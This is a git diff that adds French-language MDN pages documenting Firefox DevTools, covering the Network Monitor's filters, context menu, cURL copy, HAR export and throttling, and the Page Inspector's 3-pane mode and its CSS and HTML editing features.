set-cookie-valueAffiche les ressources qui ont un header Set-Cookie avec une valeur qui correspond à la valeur spécifiée.set-cookie-value:true
regexpAffiche les ressources dont l'URL correspond l'{{Glossary("regular expression")}} spécifiée.regexp:\d{5}
+ regexp:mdn|mozilla
+ +

Pour trouver toutes les erreurs 404, il est possible de taper "404" et la recherche complétera automatiquement par "status-code:404" :

+ +

+ + + +

Un clic droit sur une ligne de la liste affiche un menu contextuel avec les options suivantes :

+ +
    +
  • Copier l'URL
    • +
  • Copier les paramètres de l'URL (à partir de Firefox 40)
    • +
  • Copier les données POST  (à partir de Firefox 40, uniquement pour les requêtes POST)
    • +
  • Copier en tant que commande cURL
    • +
  • Copier les En-têtes de la requête (à partir de Firefox 40)
    • +
  • Copier les En-têtes de la réponse (à partir de Firefox 40)
    • +
  • Copier la réponse (à partir de Firefox 40)
    • +
  • Copier l'image comme Data URI (seulement pour les images)
    • +
  • Tout copier en tant qu’HAR (à partir de Firefox 41)
    • +
  • Tout enregistrer en tant qu’HAR (à partir de Firefox 41)
    • +
  • Enregistrer l'image (à partir de Firefox 55, et seulement pour les images)
    • +
  • Modifier et renvoyer
    • +
  • Ouvrir dans un nouvel onglet
    • +
  • Lancer l'analyse des performances pour la page
    • +
+ +

Modifier et renvoyer

+ +

Cette option ouvre un éditeur qui vous permet de modifier les méthodes de requêtes, les URLs, les paramètres, les en-têtes et de renvoyer la requête.

+ +

Ouvrir dans un nouvel onglet

+ +

Renvoie la nouvelle requête dans un nouvel onglet. Très utile pour déboguer des requêtes asynchrones.

+ +

Copier en tant que commande cURL

+ +

Cette option copie la requête réseau dans le presse-papier en tant que commande cURL, de telle sorte que vous puissiez l'exécuter depuis une ligne de commande. La commande peut inclure les paramètres suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
-X [METHOD]Si la méthode n'est pas GET ou POST
--datapour les paramètres de requêtes URL encodés
--data-binaryPour les paramètres de requêtes multiparties
--http/VERSIONSi la version de HTTP n'est pas 1.1
-ISi la méthode est HEAD
-H +

Un pour chaque en-tête de requête :

+ +

Si l'en-tête  "Accept-Encoding" est présent, la commande cURL inclura --compressed à la place de -H "Accept-Encoding: gzip, deflate". Cela signifie que la réponse sera automatiquement décompressée.

+
+ +

Tout copier/enregistrer en tant qu’HAR

+ +

Ces options crée une Archive HTTP (HAR) pour toutes les requêtes listées. Ce format permet d'exporter des informations détaillées sur les requêtes réseau. "Tout copier" copie le contenu dans le presse-papiers. "Tout enregistrer" ouvre une fenêtre pour sauvegarder l'archive sur un disque. Le nouveau menu 'HAR' (en haut à droite) inclut également ces options, ainsi qu'une option pour importer un HAR :

+ +

+ +

Fonctionnalités du Moniteur Réseau

+ +

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

+ + diff --git a/files/fr/tools/network_monitor/throttling/index.html b/files/fr/tools/network_monitor/throttling/index.html new file mode 100644 index 0000000000..0e538857c9 --- /dev/null +++ b/files/fr/tools/network_monitor/throttling/index.html @@ -0,0 +1,101 @@ +--- +title: Limitation de bande passante +slug: Outils/Moniteur_réseau/Throttling +translation_of: Tools/Network_Monitor/Throttling +--- +

{{ToolsSidebar}}

+ +

Le moniteur réseau permet de limiter la bande passante réseau afin de simuler divers types de connexion.

+ +

Limitation de la bande passante

+ +

La barre d'outils inclut une liste déroulante pour limiter la bande passante. Cela permet d'émuler la vitesse de différents réseaux. Il suffit alors de sélectionner une option dans un menu, et elle persistera à travers les rechargements de la page.

+ + + +

+ + + +

Les caractéristiques émulées sont :

+ +
    +
  • Vitesse de téléchargement
    • +
  • Vitesse de téléversement (upload)
    • +
  • Latence minimum
    • +
+ +

Le tableau ci-dessous liste les paramètres associés à chaque type de réseau. Cependant, il n'est pas recommandé de se baser sur ces données pour des mesures exactes de performance. Elles ne sont là que pour donner une idée aproximative de l'experience utilisateur dans ces conditions. Les vitesses sont exprimées en multiples de bits par seconde.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SelectionDownload speedUpload speedMinimum latency (ms)
GPRS50 Kpbs20 Kpbs500
Regular 2G250 Kpbs50 Kpbs300
Good 2G450 Kpbs150 Kpbs150
Regular 3G750 Kpbs250 Kpbs100
Good 3G1.5 Mbps750 Kpbs40
Regular 4G/LTE4 Mbps3 Mbps20
DSL2 Mbps1 Mbps5
Wi-Fi30 Mbps15 Mbps2
+ +

Fonctionnalités du Moniteur Réseau

+ +

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

+ + diff --git a/files/fr/tools/network_monitor/toolbar/index.html b/files/fr/tools/network_monitor/toolbar/index.html new file mode 100644 index 0000000000..da70faa365 --- /dev/null +++ b/files/fr/tools/network_monitor/toolbar/index.html @@ -0,0 +1,61 @@ +--- +title: Barres d'outils du Moniteur Réseau +slug: Outils/Moniteur_réseau/toolbar +tags: + - '110n:priority' + - Debugging + - Dev Tools + - Firefox + - Guide + - Networking + - Tools +translation_of: Tools/Network_Monitor/toolbar +--- +

{{ToolsSidebar}}

+ +

Le moniteur Réseau fournit deux barres d'outils, l'une en haut de la fenêtre, l'autre en dessous.

+ +

Barre d'outils

+ +

La première barre se trouve en haut de la fenêtre principale :

+ +

première barre doutils

+ +

Cette barre fournit :

+ +
    +
  • Une icône pour vider la liste des requêtes
    • +
  • A box enabling you to filter requests by URL and by properties.
    • +
  • Un tableau d'icônes pour filtrer les requêtes par type : +
      +
    • Par type de contenu de la réponse
      • +
    • Par requêtes XHR
      • +
    • Par upgrade WebSocket (icone "WS")
      • +
    +
    • +
  • Une case à cocher pour "conserver les journaux" (n'effacera pas le contenu lors d'un changement de page ou d'un rafraichissement).
    • +
  • Une case à cocher pour désactiver le cache.
    • +
  • Une liste déroulante, fournissant plusieurs options pour limiter la bande passante
    • +
  • Un menu d'options HAR
    • +
+ +

deuxième barre doutils

+ +

La deuxième barre d'outils se trouve en bas de la fenêtre :

+ +
    +
  • Une icône pour lancer l'analyse de performances
    • +
  • Un résumé des requêtes de cette page, avec leur nombre, leur taille totale et leur durée totale.
    • +
+ +

Fonctionnalités du Moniteur Réseau

+ +

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

+ + diff --git a/files/fr/tools/page_inspector/3-pane_mode/index.html b/files/fr/tools/page_inspector/3-pane_mode/index.html new file mode 100644 index 0000000000..763f953ad3 --- /dev/null +++ b/files/fr/tools/page_inspector/3-pane_mode/index.html @@ -0,0 +1,65 @@ +--- +title: Mode 3 panneaux de l'Inspecteur +slug: Outils/Inspecteur/3-pane_mode +translation_of: Tools/Page_Inspector/3-pane_mode +--- +
{{ToolsSidebar}}
+ +

Cet article explique comment utiliser le mode 3 panneaux de l'Inspecteur.

+ +

Résumé de la fonctionnalité

+ +

Depuis Firefox 62, l'Inspecteur possède un nouveau mode : le mode 3 panneaux. Lorsqu'il est activé, il permet de voir les panneaux suivants :

+ + + +

The Firefox page inspector in 3 pane mode, with HTML pane on left, CSS rules pane in center, and CSS tool tabs on right

+ +
+

Note: Si la fenêtre n'est pas assez large, le panneau des onglets s'affiche en dessous du panneau des règles CSS.

+
+ +

Avoir les règles CSS dans leur propre panneau est très utile, car cela permet non seulement d'inspecter l'HTML et d'éditer le CSS qui lui est appliqué, mais aussi d'en voir les effets sur les fonctionnalités CSS tels que les styles calculés et les grilles en temps réel. Il suffit d'avoir les panneaux concernés d'ouvert pour voir les effets.

+ +

Un guide rapide

+ +

Le mode 3 panneaux est désactivé par défaut. Pour l'activer, il suffit d'appuyer sur le bouton en haut à gauche du panneau des onglets de l'Inspecteur.

+ +

a view of the tabs panel, showing the 2 to 3 pane toggle icon

+ +

Avant.

+ +

The Firefox page inspector in 2 pane mode, with HTML pane on left and CSS tool tabs on right

+ +

Après.

+ +

The Firefox page inspector in 3 pane mode, with HTML pane on left, CSS rules pane in center, and CSS tool tabs on right

+ +

Avec le mode 6 panneaux activé, il est possible d'observer des changements des fonctionnalités CSS en temps réel lorsque les règles en question sont modifiées. Par exemple, il est possible d'éditer une propriété de grille CSS et d'observer les changements immédiats dans l'Inspecteur de grilles.

+ +

{{EmbedYouTube("ELS2OOUvxIw")}}

+ +

Activer le mode 3 panneaux avant Firefox 62

+ +

Dans les versions antérieures de Firefox (mais depuis Firefox 59/60), il est possible d'activer le mode 3 panneaux dans les versions Release/Beta en allant dans about:config et en passant les préférences suivantes à  true :

+ +

devtools.inspector.split-rule-enabled — Cela active/Désactive le mode 3 panneaux.

+ +

devtools.inspector.split-sidebar-toggle — Active le bouton UI qui permet d'activer/désactiver le mode.

+ +

Dans Firefox 61, ces préférences ont été renommés en :

+ +
    +
  • devtools.inspector.three-pane-enabled
    • +
  • devtools.inspector.three-pane-toggle
    • +
+ +

YIl est nécessaire de passer ces deux préférences à true dans les versions Release/Beta de Firefox 61 pour tester cette fonctionnalité.

+ +
+

Note: Le mode 3 panneaux est activé par défaut dans les versions Nightly/Developer edition avant Firefox 62.

+
diff --git a/files/fr/tools/page_inspector/how_to/edit_css_filters/index.html b/files/fr/tools/page_inspector/how_to/edit_css_filters/index.html new file mode 100644 index 0000000000..75d7f15f39 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/edit_css_filters/index.html @@ -0,0 +1,37 @@ +--- +title: Edition des filtres CSS +slug: Outils/Inspecteur/Comment/Edition_filtres_css +translation_of: Tools/Page_Inspector/How_to/Edit_CSS_filters +--- +
{{ToolsSidebar}}
+ +

Les propriétés filter dans la vue Règles ont une icône ronde à fond gris/blanc : 

+ +

+ +

Cliquer sur le rond ouvre l'éditeur de filtre :

+ +

+ +

L'éditeur de filtre liste chaque effet sur sa propre ligne. Il est alors possible d'ajouter, de supprimer, d'éditer les filtres et de changer l'ordre dans lesquels ils sont appliqués

+ +

Il est également possible d'ajouter de nouveaux effets grâce à la liste en bas de l'éditeur. Il suffit de cliquer sur le bouton "+" une fois l'effet voulu sélectionné dans la liste.

+ +

+ +

Une fois l'effet rajouté, il faut spécifier les paramètres voulus puis appuyer sur Entrée pour mettre a jour l'effet. Le changement sera effectif après Entrée.

+ +

Enregistrer des filtres

+ +

Il est possible d'ajouter des filtres à une liste de configuration. La liste sera persistante aux entre plusieurs sessions du navigateur, rendant ainsi l'application d'effets facile dans le futur.

+ +

Voici comment enregistrer le filtre actuel dans la liste :

+ +
    +
  • Cliquer pour éditer le filtre, afficher la liste de configuration en cliquant sur l’icône mise en avant dans la capture ci-dessous.
    • +
  • Nommez votre configuration, puis cliquer sur le bouton "+" pour l'ajouter à la liste.
    • +
+ +

+ +

Il est ainsi possible d'appliquer des filtres sauvegardés à de nouveaux éléments. Il suffit de cliquer sur le nom d'une des configuration dans la liste.

diff --git a/files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html new file mode 100644 index 0000000000..c193dc25cd --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html @@ -0,0 +1,228 @@ +--- +title: Examiner et modifier le CSS +slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS +tags: + - Guide + - Inspector + - tool +translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS +--- +
{{ToolsSidebar}}

Il est possible d'examiner et d'éditer le CSS via le panneau CSS.

+ +

Examiner les règles CSS

+ +

L'onglet des règles liste toutes les règles qui s'appliquent à l'élément sélectionné, ordonnés du plus spécifique au moins spécifique :

+ +

+ +

Une icône d'avertissement apparaitera à coté des styles non supportés ou invalides. Cela peut servir à comprendre pourquoi certains styles ne sont pas appliqués :

+ +

+ +

Affichage des règles

+ +

Chaque règle est affichée comme dans une feuille de style : une liste de sélecteurs suivis des déclarations de type propriété:valeur; :

+ +

+ +
    +
  • Afficher en surbrillance les éléments correspondants: à côté du sélecteur, se trouve une icône en forme de cible. Cliquer sur celle-ci affichera tous les noeuds de la page qui correspondent à ce sélecteur.
    • +
  • Déclaration surchargée: les styles qui sont surchargés par des règles suivantes sont affichés "barrés". Voir déclarations surchargées
    • +
  • Afficher la cascade: à côté des déclarations surchargées, se trouve une icône en forme de loupe. Cliquer sur celle-ci affiche la cascade de règles contenant la propriété surchargée. Voir déclarations surchargées
    • +
  • Activer/Désactiver: Lors du survol d'une déclaration, une case à cocher apparait à côté de cette déclaration. Cette case sert à activer.désactiver la règle.
    • +
  • Nom de fichier et numéro de ligne: dans la partie droite, on retrouve un lien vers la règle. Voir lien vers le fichier CSS.
    • +
+ +

Depuis Firefox 52, si un élément à une déclaration display: grid, alors une icône en forme de grille () apparait. Cliquer sur cette icône affiche une grille par-dessus la page. Voir examiner les  grilles pour plus d'informations.

+ +

Pour lister les user-agent styles (les styles appliqués par le navigateur), il faut activer l'option « Afficher les styles du navigateur » dans les options des outils de développement. Il est à noter que cette option est indépendante de l'option « Styles navigateur » présente dans l'onglet « Calculé ».

+ +

Les user-agent styles sont affichés sur un fond différent et le lien vers la feuille de style contient le préfixe (user agent) :

+ +

+ +

element {} rule

+ +

La règle élément {} en haut de la liste des règles n'est pas réellement une règle CSS. C'est simplement la représentation des propriétés CSS assignée à l'élément via sont attribut {{htmlattrxref("style")}}.

+ +

A partir de Firefox 52, cette règle obtient sa propre icône de cible (). Cela permet d'affiche facilement l'élément sélectionné de la page.

+ +

{{EmbedYouTube("bQzOAFvEDco")}}

+ +

Filtrer les règles

+ +

La boite "Filtrer les styles" se trouve en haut de l'onglet des règles :

+ +

Écrire une expression dans cette boite a pour effet que :

+ +
    +
  • Toute règle ne contenant pas la chaine caractère tapée est cachée.
    • +
  • Toute déclaration contenant la chaine tapée est mise en surbrillance
    • +
+ +

Cliquer sur l'icône en forme de "X" à la fin de la boîte supprime le filtre.

+ +
+

Si l'onglet des règles est sélectionné, il est possible d'appuyer sur Ctrl / Cmd + F pour sélectioner le champ de recherche. Il est alors possible d'appuyer sur Esc pour supprimer le filtre.

+
+ +

{{EmbedYouTube("9w8vDIWqnAE")}}

+ +

Recherche stricte

+ +

Par défaut, la recherche affiche toutes les déclarations qui contiennent une partie de la chaine de caractère de la recherche. Par exemple filtrer avec "color" afficher les déclarations contenant border-bottom-color et background-color en plus de color :

+ +

+ +

Si l'expression de recherche est encadrée ainsi : `color`, alors la recherche n'affiche que les correspondances exactes :

+ +

+ +

Étendre les propriétées raccourcies

+ +

Les propriétées raccourcies peuvent être étendues pour afficher leur noms complets en cliquant sur la flèche à coté de celles-ci.

+ +

Afficher les pseudo-elements

+ +

L'onglet des règles peut afficher les pseudo-éléments suivant, si ceux ci sont appliqués à l'élément sélectioné :

+ +

::after
+ ::backdrop
+ ::before
+ ::first-letter
+ ::first-line
+ ::selection
+ :-moz-color-swatch
+ :-moz-number-spin-box
+ :-moz-number-spin-down
+ :-moz-number-spin-up
+ :-moz-number-text
+ :-moz-number-wrapper
+ :-moz-placeholder
+ :-moz-progress-bar
+ :-moz-range-progress
+ :-moz-range-thumb
+ :-moz-range-track
+ :-moz-selection

+ +

Si l'élément sélection possède des pseudo-éléments appliqués, ils sont affichés avant la règle "élément", mais sont cachés par l'icone en forme de triangle :

+ +

+ +

Cliquer sur cette icône affiche les pseudo-éléments :

+ +

+ +

Activer :hover, :active, :focus

+ +

Il y a un bouton à droite de la boite de recherche :

+ +

Cliquer sur ce bouton afficher trois cases à cocher qui permettent d'activer les pseudo-classes {{cssxref(":hover")}}, {{cssxref(":active")}} et {{cssxref(":focus")}} pour l'élément sélectionné :

+ +

Cette fonctionnalité est également accessible depuis le menu popup de l'onglet HTML.

+ +

Si une de ces classes est activée pour un noeud, un point orange apparait dans l'onglet HTML pour chaque noeud pour lesquels la pseudo-classe a été appliquée :

+ +

+ +

Lien vers le fichier CSS

+ +

En haut à droite de chaque règle, le nom du fichier source et le numéro de ligne de la règle est affiché sous forme de lien. Cliquer sur ce lien ouvre le fichier dans l'éditeur de style.

+ +

Il est possible de copier l'emplacement du fichier source. Il suffit pour cela de faire un clic droit sur le lien et de sélectionner "Copier l'adresse".

+ +

L'inspecteur comprend les source maps CSS. Cela signifie que si vous utilisez un préprocesseur CSS qui supporte les source maps, et que vous avez activé l'option « Afficher les sources originales » dans les options de l'éditeur de style, alors le lien pointera vers la source originale pas vers le CSS généré. Vous pouvez en apprendre plus sur le support des source map CSS dans la documentation de l'éditeur de style.

+ +

Déclarations surchargées

+ +

Si une déclaration CSS est surchargée par une autre règle avec plus d'importance, cette déclaration est affichée "barrée".

+ +

Les déclarations surchargées ont une icône en forme de loupe à côté d'elles. Cliquer sur cette icône filtra les propriétés du noeud pour n'afficher que celles contenant des déclarations qui essayent de configurer la même propriété : Il s'agit d'une cascade complète pour une propriété donnée.

+ +

Cela permet de savoir quelle règle surcharge quelle déclaration :

+ +

{{EmbedYouTube("i9mDVjJAGwQ")}}

+ +

Examiner le CSS calculé

+ +

Pour voir le CSS calculé intégral pour l'élément sélectionné, il faut ouvrir l'onglet « Calculé ». Cet onglet montre la valeur calculée de chaque propriété CSS pour l'élément sélectionné :

+ +

+ +

Il est possible d'utiliser Tab pour itérer parmi les éléments. Depuis Firefox 49, ile st possible d'obtenir plus d'information sur la propriété sélectionnée en pressant F1 . Cela affiche la page MDN en référence à la propriété.

+ +

Cliquer sur la flèche à côté du nom d'une propriété (ou presser Entrée ou Espace si elle est sélectionnée) affiche la règle qui fixe cette valeur, ainsi qu'un lien vers le fichier source :

+ +

+ +

Par défaut, cet onglet n'affiche que les valeurs qui ont été explicitement définies par la feuille de style. Pour voir toutes les valeurs, il faut cocher la case « Styles navigateur ».

+ +

Effectuer une saisie dans la boite de recherche applique un filtre en temps réel sur la liste. Ainsi, si, par exemple, vous souhaitez uniquement afficher uniquement les paramètres liés aux polices d'écriture, vous pouvez taper « font » dans la boîte de recherche et seules les propriétés dont le nom contient « font » seront listées. Il est également possible de chercher les valeurs des propriétés : par exemple pour trouver la règle qui définit la police « Lucida Grande », il suffit de saisir cette valeur dans le champ de recherche.

+ +
+

Dans l'onglet des règles calculé,  il est possible d'utiliser le raccourci clavier Ctrl / Cmd + F pour sélectioner le champ de recherche. Ensuite il est possible de supprimer la recherche avec Esc.

+
+ +

Modifier les règles

+ +

Cliquer sur une déclaration ou un sélecteur dans l'onglet des règles permet de les éditer et d'observer immédiatement le résultat. Il est également possible de parcourir les différentes propriétés et valeurs avec Tab, et de les éditer avec Entrée ou Espace. Pour ajouter une nouvelle déclaration, il faut cliquer sur la dernière ligne de la règle (celle où il y a l’accolade fermante).

+ +

Alors que le nom de la propriété est en train d'être écrite, une liste d'auto complétions s'affiche. Appuyer sur Tab  accepte la suggestion sélectionnée, et Flèche Haut et Flèche Bas permettent de se déplacer dans la liste. La suggestion sélectionnée par défaut est la propriété la plus commune commençant par les lettres tapées. Ici par exemple, l'utilisateur à tapé "c", et le choix par défaut est "color" :

+ +

+ +

Si le nom de la propriété est erroné ou inconnu, une icône jaune d'alerte s'affichera alors à côté de la déclaration.

+ +
+

Note: Depuis Firefox 60 les noms de variable CSS sont également autocomplétés (voir {{bug(1422635)}}). Taper var( dans une valeur de propriété et ensuite rentrer un tiret (-), fera apparaitre toutes les variables déclarées dans le CSS dans une liste d'autocomplétion.
+
+

+
+ +

Attention, tous les changements effectués sont temporaires : recharger la page restaure le style original.

+ +

Il est possible d'utiliser les flèches haut/bas et les touches page haut/bas pour augmenter/diminuer les valeurs numériques lorsqu'on modifie une règle :

+ +
    +
  • La flèche haut augmentera les valeurs de 1. "1px" changera en "2px", par exemple.
    • +
  • Maj + flèche haut/bas modifiera de 10.
    • +
  • Alt + flèche haut/bas modifie de 0.1. Il est a noter que depuis Firefox 60, cette combinaison a été remplacée par Ctrl + Haut/Bas sur Linux et Windows pour éviter les conflits avec les raccourcis par défaut de ces systèmes d'exploitation (voir {{bug("1413314")}}). Le raccourci est resté le même sous Mac OS - — Ctrl + Haut sous Mac OS est le raccourci par défaut pour ouvrir Mission Control.
    • +
  • Maj + Page haut/bas modifie de 100.
    • +
+ +

Les modifications apportées dans l'onglet des règles sont visibles dans l'Éditeur de Style, et vice versa.

+ +

A partir de Firefox 52, lors de l'édition de CSS, le menu contextuel est celui par défaut pour la modification de texte :

+ +

+ +

Ajouter de nouvelles règles

+ +

Pour ajouter de nouvelles règles, il suffit de faire un clic droit pour afficher le menu contextuel puis de sélectionner « Ajouter une règle ». Cela ajoutera une règle qui correspond au nœud du document qui est sélectionné.

+ +

+ +

Il existe également un bouton pour faire la même chose :

+ +

+ +

Copie une règle

+ +

Pour copier une règle, il faut utiliser une des options suivantes du menu contextuel (clic droit) :

+ +
    +
  • Copier la règle
    • +
  • Copier le sélecteur
    • +
  • Copier la déclaration de la propriété
    • +
  • Copier le nom de la propriété
    • +
  • Copier la valeur de la propriété
    • +
+ +

+ +

Voir aussi

+ +
    +
  • La liste complète des raccourcis clavier de l'Inspecteur.
    • +
  • L'inspecteur inclut également divers outils pour travailler avec des fonctionnalités CSS spécifiques telles que les couleurs, les polices et les animations. Pour en apprendre plus sur ces fonctionnalités, voir les guides pratiques.
    • +
diff --git a/files/fr/tools/page_inspector/how_to/examine_and_edit_html/index.html b/files/fr/tools/page_inspector/how_to/examine_and_edit_html/index.html new file mode 100644 index 0000000000..d71e356662 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/examine_and_edit_html/index.html @@ -0,0 +1,326 @@ +--- +title: Éxaminer et modifier le code HTML +slug: Outils/Inspecteur/Comment/Examiner_et_éditer_le_code_HTML +tags: + - Guide + - Inspector + - Outils + - Tools +translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_HTML +--- +
{{ToolsSidebar}}
+ +

Il est possible d’examiner et d'éditer le code HTML d'une page grâce au panneau HTML.

+ + + +

Fil d'Ariane HTML

+ +

En bas du panneau HTML, se trouve un fil d'Ariane. Ce fil affiche l'a hiérarchie complète de l'élément sélectionné dans la page :

+ +

+ +

Survoler un élément du fil mettra celui-ci en surbrillance dans la page.

+ +

Le fil possède ses propres raccourcis clavier.

+ +
+

Il est à noter que dans les versions antérieures à Firefox 48, le fil d'Ariane se trouvait en haut du panneau et non en bas.

+
+ +

Recherche

+ +

À partir de Firefox 45, la boite de recherche de l'Inspecteur trouve les correspondances dans tout le markup du document ouvert, ainsi que dans toutes les frames.

+ +

Pour commencer une recherche, il suffit de cliquer sur la boîte de recherche pour l'agrandir ou bien d'utiliser les raccourcis clavier Ctrl + F , ou Cmd + F sous Mac.

+ +

Lors de la saisie, une pop-up d'autocomplétion affiche toutes les classes ou ID  qui correspondent à la recherche en cours :

+ +

+ +

Pour itérer parmi les suggestions, il faut utiliser Flèche Haut et Flèche Bas. Tab permet de choisir la suggestion sélectionnée. Entrée permet alors de sélectionner le premier noeud correspondant.

+ +

Si la recherche est faite sans utiliser de valeur d'autocomplétion, alors la recherche sera effectuée sur tout le texte du document, incluant les balises, les attributs, et le contenu textuel des noeuds.

+ +

{{EmbedYouTube("AKBhnfp1Opo")}}

+ +

Pour parcourir les résultats, il faut utiliser Enter . Depuis Firefox 48, il est possible d'itérer à l'envers avec  Maj + Enter .

+ +

Arbre HTML

+ +

Le reste du panneau affiche le HTML de la page sous forme d'arbre (cette interface est également appelée Markup View). À la gauche de chaque nœud se trouve une flèche, cliquer sur celle-ci développera le nœud. appuyer sur la touche "Alt" développera tous les nœuds inclus dans l'élément.

+ +

The new Firefox 57 inspector HTML tree.Survoler un élément dans l'arbre mettra celui-ci en surbrillance dans la page.

+ +

Les nœuds qui ne sont pas visibles (par exemple avec display:none) sont affichés en transparence dans l'arbre.

+ +

Depuis Firefox 53, une ellipse est affichée entre la balise ouvrante et fermante d'un élément réduit à cause d'un contenu trop long.

+ +

Avant Firefox 53, il était impossible de déterminer si noeud réduit avait des enfants. Maintenant, ce cas est indiqué par une icône de points de suspension ( )

+ +
+

Note: Il existe des raccourcis clavier fort pratiques qui peuvent être utilisés dans l'arbre HTML : voir la liste des raccourcis clavier.

+
+ +

::before et ::after

+ +

Depuis Firefox 35, il est possible d'inspecter les pseudo éléments ajoutés en utilisant {{cssxref("::before")}} et {{cssxref("::after")}} :

+ +

{{EmbedYouTube("ecfqTGvzsNc")}}

+ +

Noeuds ne contenant que des espaces

+ +
Nouveauté de Firefox 52
+ +

Les développeurs web n'écrivent (généralement) pas tout leur code en une seule ligne. Ils utilisent des espaces, des retours à la ligne, ou des tabulations dans leur HTML pour le rendre plus lisible.

+ +

Normalement, ces espaces n'ont aucun effet sur le visuel de la page. Mais en réalité, lorsqu'un navigateur analyse l'HTML, il génère automatiquement des noeuds de texte anonymes pour les éléments qui ne sont pas contenus dans des balises. Cela inclut les espaces (qui après tout, sont un type de texte).

+ +

Si ces noeuds autogénérés sont des éléments "en ligne" (inline level), alors les navigateurs leur donneront une hauteur et largeur non nulle. Des espaces étranges entre les éléments apparaitront alors, même si aucun margin ou padding n'est appliqué sur ces éléments.

+ +

Depuis Firefox 52, l'Inspecteur affiche ces noeuds d'espaces, afin de pouvoir savoir d'où viennent les espaces dans la mise en page. Ces noeuds sont représentés par un point:  et affichent une infobulle explicative au survol :

+ +

+ +

Il est possible de trouver une démonstration de ceci à l'adresse : https://mdn.github.io/devtools-examples/whitespace-only-demo/index.html.

+ +

Shadow roots

+ +

Tous les noeuds shadow roots présents dans le DOM sont exposés par la page HTML, de la même manière que le DOM normal. Le shadow root est représenté par un noeud nommé #shadow-root — il est possible de cliquer sur la flèche d'expansion pour voir le contenu complet du shadow DOM, et le manipuler, exactement comme avec les noeuds DOM normaux. Il existe cependant des limites, il n'est par exemple pas possible de glisser/déposer ou de supprimer des noeuds shadow DOM.

+ +

A view of a shadow root shown inside the DOM tree in the Firefox DevTools

+ +

Si un shadow DOM contient un élément avec attribut slot ayant été inspiré dans un élément {{htmlelement("slot")}} — voir Flexibilitée ajoutée par les slots pour une explication de l'utilisation de ceux-ci --- cet élément sera affiché à l'intérieur de son élément {{htmlelement("slot")}} correspondant, avec un lien à côté. Cliquer sur ce lien affichera l'élément avec l'attibut slot tel qu'il existe en dehors du shadow DOM

+ +

A view of a shadow root shown inside the DOM tree in the Firefox DevTools

+ +

Cette fonctionnalité est utile pour trouver la source du contenu d'un élément <slot>

+ +
+

Note: L'inspection du Shadow DOM à été implémenté dans Firefox 61, mais est actuellement caché par la préférence dom.webcomponents.shadowdom.enabled. Elle sera activée par défaut lorsque les Web components/Shadow DOM seront disponible dans la plateforme, l'estimation actuelle pour cela est Firefox 63.

+
+ + + +

Il est possible d’effectuer des tâches courantes sur un élément spécifique grâce au menu contextuel. Pour ouvrir celui-ci, il suffit de faire un clic droit sur l'élément :

+ +

+ +

Référence du menu contextuel

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Modifier comme HTMLModifie le code HTML de l'élément.
Copier >> l’intérieur du HTMLCopie le contenu interne à l'élément HTML
Copier >> l’extérieur du HTMLCopie le contenu HTML à l'intérieur par rapport à l'élément courant en incluant la balise de l'élément courant
Copier >> le sélecteur CSSCopie un sélecteur CSS qui sélectionne uniquement l'élément.
Copier >> le chemin CSSCopie un sélecteur CSS qui représente le chemin complet vers l'élément
+

Copier >> le Data-URL de l'image

+ 		Copie l'image en tant que data:// URL, si l'élément sélectionné est une image.
Afficher les propriétés DOM +

Ouvre la console scindée et entre la commande "inspect($0)" pour inspecter l'élément actuellement sélectionné.

+
Utiliser dans la console +
+

Nouveau dans Firefox 43

+
+ +

Assigne le noeud actuellement sélectionné dans une variable nommée temp0 (ou temp1 si temp0 est déjà utilisée, etc.), puis ouvre la console scindée, vous permettant d'interagir avec ce noeud depuis la ligne de commande.

+
Tout étendre +
+

Nouveau dans Firefox 44

+
+ Étend l'élément sélectionné ainsi que tous ses enfants dans l'arbre HTML. C'est l'équivalent d'utiliser la touche Alt  et le bouton pour étendre un élément (le triangle en début de ligne)
Réduire +
+

Nouveau dans Firefox 44

+
+ Réduit l'élément sélectionné. C'est l'équivalent du bouton en forme de triangle en début de ligne.
Coller >> à l’intérieur du HTML +

Colle le contenu du presse-papier dans le nœud en tant qu'innerHTML.

+
Coller >> à l’extérieur du HTMLColle le contenu du presse-papier dans le nœud en tant qu'outerHTML.
Coller >> AvantColle le contenu du presse-papier dans le document immédiatement avant le nœud sélectionné.
Coller >> AprèsColle le contenu du presse-papier dans le document immédiatement après le nœud sélectionné.
Coller >> Comme premier nœud enfantColle le contenu du presse-papier dans le document en tant que premier enfant du nœud sélectionné.
Coller >> Comme dernier nœud enfantColle le contenu du presse-papier dans le document en tant que dernier enfant du nœud sélectionné.
Faire défiler la vue jusqu'au noeud +

Fait défiler la page jusqu'a ce que le noeud sélectionné soit visible.

+ +

À partir de Firefox 44, il est possible d'utiliser le raccourci clavier S fera la même action.

+
Prendre une capture du noeudPrend une capture du noeud sélectionné. La capture est directement sauvegardée dans votre dossier de téléchargement. Voir Prendre des captures.
Créer un nouveau noeudCrée une balise <div> en dernier enfant de l'élément sélectionné. Voir Insérer des nouveaux noeuds.
Dupliquer le noeud +
+

Nouveau dans Firefox 44

+
+ Crée une copie de l'élément sélectionné, et l'insère immédiatement après.
Supprimer le nœudSupprime l'élément
Attributs >> Ajouter un attribut +
+

Nouveau dans Firefox 44

+
+ Ajoute un attribut à l'élément.
Attributs >> Modifier l'attribut +
+

Nouveau dans Firefox 44

+
+ (seulement quand un attribut est sélectionné) Modifie l'attribut.
Attributs >> Supprimer l'attribut +
+

Nouveau dans Firefox 44

+
+ (seulement quand un attribut est sélectionné) Supprime l'attribut.
Attributs >> Copier la valeur de l'attributCopie la valeur de l'attribut
